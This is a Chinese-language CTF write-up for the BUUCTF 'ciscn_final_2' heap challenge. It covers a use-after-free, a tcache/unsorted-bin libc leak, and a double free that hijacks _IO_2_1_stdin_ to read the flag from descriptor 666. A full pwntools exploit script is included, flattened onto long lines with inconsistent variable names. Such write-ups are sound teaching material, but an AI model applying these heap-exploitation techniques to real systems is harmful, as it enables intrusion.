保护全开
buu上给的是libc2.27,所以double free是默认可以的。
审计
delete函数这里存在一个uaf漏洞
show函数这里show_time,也就是说只能打印三次,而且打印出来的都是低字节几位
allocated函数这里固定分配函数内存
init函数这里
dup2函数是复制文件描述符,把flag文件的描述符改为了666
/proc/pid/fd
可以查看当前文件描述符,一般程序有0 1 2 stdin stdout stderr这样
可以看到这里多了一个666就是dup2函数把flag文件描述符给改了
同时程序还开了沙箱,所以one_gadget是不大现实了
bye函数
漏洞分析
tcache机制
由于固定分配了函数内存大小,所以我们单靠内存大小来变成unsortedbin来泄露内存是不可能了,所以这里就涉及到另外的知识,tcache一条链上只能有7个,当超过7个时就会进入unsortedbin 和smallbin中
#include <stdlib.h>
#include <stdio.h>
int main(int argc , char* argv[])
{
long* t[7];
long *a=malloc(0x100);
long *b=malloc(0x10);
long *c=malloc(0x40);
// make tcache bin full
for(int i=0;i<7;i++)
t[i]=malloc(0x100);
for(int i=0;i<7;i++)
free(t[i]);
free(a);
free(b);
free(c);
// a is put in an unsorted bin because the tcache bin of this size is full
printf("%p\n",a[0]);
}
所以我们用这个机制就可以泄露出main_arean的地址然后就可以得到libc的地址
IO_2_1_stdin
scanf会用到这个结构体,如果我们劫持了这个结构体,把文件描述符改为666就能从flag中读取内容然后通过printf打印出来了
- 通过unsorted和uaf泄露出libc的地址
- 劫持IO_2_1_stdin为666
- 用double free漏洞劫持程序的执行流到我们想去的地方
```python
from pwn import*
context.log_level=’debug’
io = process([‘./ciscn_final_2’],env={“LD_PRELOAD”:”./libc-2.2764.so”})
io = remote(“node4.buuoj.cn”,”29097”)
elf =ELF(‘./ciscn_final_2’) libc = ELF(“./libc-2.2764.so”) def debug(): gdb.attach(io) pause() def add(choice,value): io.recvuntil(“> “) io.sendline(“1”) io.recvuntil(“>”) io.sendline(str(choice)) io.recvuntil(“your inode number:”) io.sendline(str(value)) def free(choice): io.recvuntil(“> “) io.sendline(“2”) io.recvuntil(“>”) io.sendline(str(choice))
def show(choice): io.recvuntil(“> “) io.sendline(“3”) io.recvuntil(“>”) io.sendline(str(choice)) if choice ==1: io.recvuntil(“your int type inode number :”) if choice ==2: io.recvuntil(“your short type inode number :”) return int(io.recvuntil(“\n”,drop=True)) def leave(value): io.recvuntil(“> “) io.sendline(“4”) io.recvuntil(“what do you want to say at last? “) io.sendline(value) add(1,0x30) free(1) add(2,0x20) add(2,0x20) add(2,0x20) add(2,0x20)
debug()
free(2)
debug()
double free
add(1,0x30) free(2)
debug()
offset= show(2) - 0xa0 log.success(“offset:”+hex(offset)) add(2,offset) add(2,offset) add(2,0x91) for i in range(7): free(1) add(2,0xa0) free(1) libcbase = show(1) -4111520 log.success(“libcbase:”+hex(libcbase)) I02_1_stdin_addr = libcbase + libc.sym[‘_IO_2_1_stdin‘] + 0x70 add(1,I0_2_1_stdin_addr) add(1,0xb0)
debug()
free(1) add(2,0x20) free(1)
debug()
pre_chunk= show(1) - 0x30 log.success(“pre_chunk”+hex(pre_chunk))
debug()
add(1, pre_chunk) add(1, 0xc0) add(1, 0)
debug()
add(1, 666)
debug()
io.recvuntil(“> “) io.sendline(“4”) io.interactive() ```